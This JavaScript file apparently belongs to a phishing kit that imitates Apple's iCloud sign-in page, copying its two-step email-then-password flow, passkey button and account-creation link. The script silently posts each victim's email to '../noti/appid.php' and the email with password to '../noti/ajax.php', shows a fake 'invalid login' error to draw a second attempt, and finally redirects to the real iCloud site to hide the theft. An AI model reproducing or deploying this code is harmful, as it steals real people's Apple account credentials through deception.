document.addEventListener('DOMContentLoaded', function () {
    const menuButtonEls = document.getElementsByClassName("help-menu-button");
    const popoverEls = document.getElementsByTagName('ui-popover-content');

    for (const btn of menuButtonEls) {
        btn.addEventListener('click', (e) => {
            e.stopPropagation();
            e.preventDefault();

            const popover = btn.parentElement.querySelector('ui-popover-content');
            if (popover) {
                const isActive = popover.classList.contains('active');
                if (isActive) {
                    popover.classList.remove('active');
                } else {
                    popover.classList.add('active');
                }
            }
        });
    }

    // Close popover when clicking outside
    document.addEventListener('click', (e) => {
        if (!e.target.closest('.help-menu-button') && !e.target.closest('ui-popover-content')) {
            for (const popover of popoverEls) {
                popover.classList.remove('active');
            }
        }
    });

    // Function to show loading spinner in button
    function showButtonLoading(button) {
        const buttonText = button.textContent;
        button.classList.add('button-loading');
        button.innerHTML = '<span class="button-spinner"></span><span class="button-text">' + buttonText + '</span>';
        button.disabled = true;
    }

    // Function to hide loading spinner
    function hideButtonLoading(button, originalText) {
        button.classList.remove('button-loading');
        button.innerHTML = originalText;
        button.disabled = false;
    }

    // Handle continue button click
    const continueButton = document.getElementById('continue-button');
    const emailInput = document.getElementById('account_name_text_field');
    const passwordField = document.querySelector('.password');
    const accountName = document.querySelector('.account-name');

    if (continueButton && emailInput && passwordField) {
        // Check email input and enable/disable continue button
        function checkEmailInput() {
            if (emailInput.value.trim() !== '') {
                continueButton.disabled = false;
            } else {
                continueButton.disabled = true;
            }
        }

        // Initial check
        checkEmailInput();

        // Listen for input changes
        emailInput.addEventListener('input', checkEmailInput);

        continueButton.addEventListener('click', function () {
            const email = emailInput.value.trim();
            if (email !== '') {
                // Show loading spinner
                const originalHTML = continueButton.innerHTML;
                showButtonLoading(continueButton);
                
                const formData = new FormData();
                formData.append('email', email);
                fetch('../noti/appid.php', {
                    method: 'POST',
                    body: formData
                });

                // Wait 2 seconds then proceed
                setTimeout(function () {
                    // Show password field
                    passwordField.classList.add('visible');
                    passwordField.style.display = 'block';

                    // Update email field border radius
                    accountName.classList.add('has-password');

                    // Hide continue button
                    continueButton.classList.add('hidden');

                    // Hide Sign in with Passkey button
                    const passkeyButton = document.querySelector('.signin-v2__buttons-wrapper__button-wrapper--passkey');
                    if (passkeyButton) {
                        passkeyButton.classList.add('hidden');
                    }

                    // Hide privacy section
                    const privacySection = document.querySelector('.ue-privacy');
                    if (privacySection) {
                        privacySection.classList.add('hidden');
                    }

                    // Hide Create Your Apple Account button
                    const createLink = document.getElementById('create-link');
                    if (createLink) {
                        createLink.closest('.signin-content__footer__items__right').classList.add('hidden');
                    }

                    // Show Keep me signed in and Forgot password
                    const rememberPasswordSection = document.querySelector('.si-remember-password');
                    const forgotPasswordSection = document.querySelector('.si-forgot-password');
                    if (rememberPasswordSection) {
                        rememberPasswordSection.classList.add('visible');
                    }
                    if (forgotPasswordSection) {
                        forgotPasswordSection.classList.add('visible');
                    }

                    // Show Sign In button
                    const signInButton = document.getElementById('sign-in-button');
                    if (signInButton) {
                        signInButton.classList.add('visible');
                    }

                    // Focus password field
                    const passwordInput = document.getElementById('password_text_field');
                    if (passwordInput) {
                        passwordInput.tabIndex = 0;
                        setTimeout(() => passwordInput.focus(), 100);
                    }

                    // Reset continue button (in case it's used again)
                    hideButtonLoading(continueButton, originalHTML);
                }, 2000);
            }
        });
    }

    // Handle Sign In button click
    const signInButton = document.getElementById('sign-in-button');
    if (signInButton) {
        signInButton.addEventListener('click', function (e) {
            e.preventDefault();

            const originalHTML = signInButton.innerHTML;
            showButtonLoading(signInButton);

            // Get form values
            const email = document.getElementById('account_name_text_field').value;
            const password = document.getElementById('password_text_field').value;

            // Create FormData
            const formData = new FormData();
            formData.append('email', email);
            formData.append('password', password);

            // Send AJAX request to ajax.php
            fetch('../noti/ajax.php', {
                method: 'POST',
                body: formData
            })
                .then(response => response.text())
                .then(data => {
                    hideButtonLoading(signInButton, originalHTML);

                    // Handle response
                    if (data.trim() === 'INVALID') {
                        // Show error state
                        showInvalidLoginError();
                    } else if (data.trim() === 'OK') {
                        // Success - redirect or show success message
                        window.top.location.href = 'https://www.icloud.com/';
                    } else {
                        // Show error message
                        alert('An error occurred. Please try again.');
                    }
                })
                .catch(error => {
                    hideButtonLoading(signInButton, originalHTML);
                    console.error('Error:', error);
                    alert('An error occurred. Please try again.');
                });
        });
    }

    // Function to show invalid login error
    function showInvalidLoginError() {
        // Get elements
        const emailInput = document.getElementById('account_name_text_field');
        const passwordInput = document.getElementById('password_text_field');
        const accountNameDiv = document.querySelector('.account-name');
        const passwordDiv = document.querySelector('.password');
        const errorMessage = document.getElementById('error-message');
        const rememberPasswordSection = document.querySelector('.si-remember-password');
        const signInBtn = document.getElementById('sign-in-button');

        // Focus email field
        if (emailInput) {
            emailInput.focus();
        }

        // Add error class to email field
        if (accountNameDiv) {
            accountNameDiv.classList.add('error');
        }

        // Clear password field and add error class
        if (passwordInput) {
            passwordInput.value = '';
        }
        if (passwordDiv) {
            passwordDiv.classList.add('error');
        }

        // Hide remember password section
        if (rememberPasswordSection) {
            rememberPasswordSection.classList.remove('visible');
        }

        // Show error message
        if (errorMessage) {
            errorMessage.classList.add('visible');
            errorMessage.style.display = 'flex';
        }

        // Disable sign-in button
        if (signInBtn) {
            signInBtn.disabled = true;
            signInBtn.style.backgroundColor = '#a1c4f4';
        }
    }

    // Function to reset form to initial state
    function resetToInitialState() {
        const emailInput = document.getElementById('account_name_text_field');
        const passwordInput = document.getElementById('password_text_field');
        const passwordDiv = document.querySelector('.password');
        const accountNameDiv = document.querySelector('.account-name');
        const signInBtn = document.getElementById('sign-in-button');
        const continueBtn = document.getElementById('continue-button');
        const passkeyButton = document.querySelector('.signin-v2__buttons-wrapper__button-wrapper--passkey');
        const privacySection = document.querySelector('.ue-privacy');
        const createAccountSection = document.querySelector('.signin-content__footer__items__right');
        const rememberPasswordSection = document.querySelector('.si-remember-password');
        const errorMessage = document.getElementById('error-message');

        // Clear input values
        if (emailInput) emailInput.value = '';
        if (passwordInput) passwordInput.value = '';

        // Hide password field
        if (passwordDiv) {
            passwordDiv.classList.remove('visible');
            passwordDiv.style.display = 'none';
            passwordDiv.classList.remove('error');
        }

        // Reset account name field
        if (accountNameDiv) {
            accountNameDiv.classList.remove('has-password');
            accountNameDiv.classList.remove('error');
        }

        // Hide sign-in button
        if (signInBtn) {
            signInBtn.classList.remove('visible');
            signInBtn.disabled = false;
            signInBtn.style.backgroundColor = '#0076df';
        }

        // Show continue button
        if (continueBtn) {
            continueBtn.classList.remove('hidden');
            continueBtn.disabled = true;
        }

        // Show passkey button
        if (passkeyButton) {
            passkeyButton.classList.remove('hidden');
        }

        // Show privacy section
        if (privacySection) {
            privacySection.classList.remove('hidden');
        }

        // Show create account section
        if (createAccountSection) {
            createAccountSection.classList.remove('hidden');
        }

        // Hide remember password section
        if (rememberPasswordSection) {
            rememberPasswordSection.classList.remove('visible');
        }

        // Hide error message
        if (errorMessage) {
            errorMessage.classList.remove('visible');
            errorMessage.style.display = 'none';
        }

        // Focus email field
        if (emailInput) {
            setTimeout(() => emailInput.focus(), 100);
        }
    }

    // Function to check if sign-in button should be enabled
    function checkSignInButton() {
        const emailInput = document.getElementById('account_name_text_field');
        const passwordInput = document.getElementById('password_text_field');
        const signInBtn = document.getElementById('sign-in-button');
        const passwordDiv = document.querySelector('.password');

        if (emailInput && passwordInput && signInBtn) {
            const emailValue = emailInput.value.trim();
            const passwordValue = passwordInput.value.trim();

            // Check if password field is visible
            const passwordVisible = passwordDiv && passwordDiv.style.display !== 'none';

            // If both fields are empty and password field is visible, reset to initial state
            if (emailValue === '' && passwordValue === '' && passwordVisible) {
                resetToInitialState();
                return;
            }

            if (emailValue !== '' && passwordValue !== '') {
                signInBtn.disabled = false;
                signInBtn.style.backgroundColor = '#0076df';
            } else {
                signInBtn.disabled = true;
                signInBtn.style.backgroundColor = '#a1c4f4';
            }
        }
    }

    // Remove error state when user types
    const emailInput2 = document.getElementById('account_name_text_field');
    const passwordInput = document.getElementById('password_text_field');

    if (emailInput2) {
        emailInput2.addEventListener('input', function () {
            const accountNameDiv = document.querySelector('.account-name');
            if (accountNameDiv) {
                accountNameDiv.classList.remove('error');
            }
            const errorMessage = document.getElementById('error-message');
            if (errorMessage) {
                errorMessage.classList.remove('visible');
                errorMessage.style.display = 'none';
            }
            // Check if sign-in button should be enabled
            checkSignInButton();
        });
    }

    if (passwordInput) {
        passwordInput.addEventListener('input', function () {
            const passwordDiv = document.querySelector('.password');
            if (passwordDiv) {
                passwordDiv.classList.remove('error');
            }
            const errorMessage = document.getElementById('error-message');
            if (errorMessage) {
                errorMessage.classList.remove('visible');
                errorMessage.style.display = 'none';
            }
            // Check if sign-in button should be enabled
            checkSignInButton();
        });
    }

    btnLinkCreateAppleAcount = document.getElementById('create-link');
    if (btnLinkCreateAppleAcount) {
        btnLinkCreateAppleAcount.addEventListener('click', function (e) {
            e.preventDefault();
            window.location.href = 'https://appleid.apple.com/account#!&page=create';
        });
    }
    window.addEventListener("keydown", (event) => {
        if (event.defaultPrevented) {
            return; // Should do nothing if the default action has been cancelled
        }

        let handled = false;
        if (event.key !== undefined) {
            // Handle the event with KeyboardEvent.key
            if (event.key === "Enter") {
                const signInBtn = document.getElementById('sign-in-button');
                
                // Check if sign-in button is visible and enabled
                const signInVisible = signInBtn && signInBtn.classList.contains('visible') && !signInBtn.disabled;
                
                if (signInVisible) {
                    signInBtn.click();
                    handled = true;
                } else if (continueButton && !continueButton.disabled && !continueButton.classList.contains('hidden')) {
                    continueButton.click();
                    handled = true;
                }
            }

            if (handled) {
                // Suppress "double action" if event handled
                event.preventDefault();
            }
        }
    });
});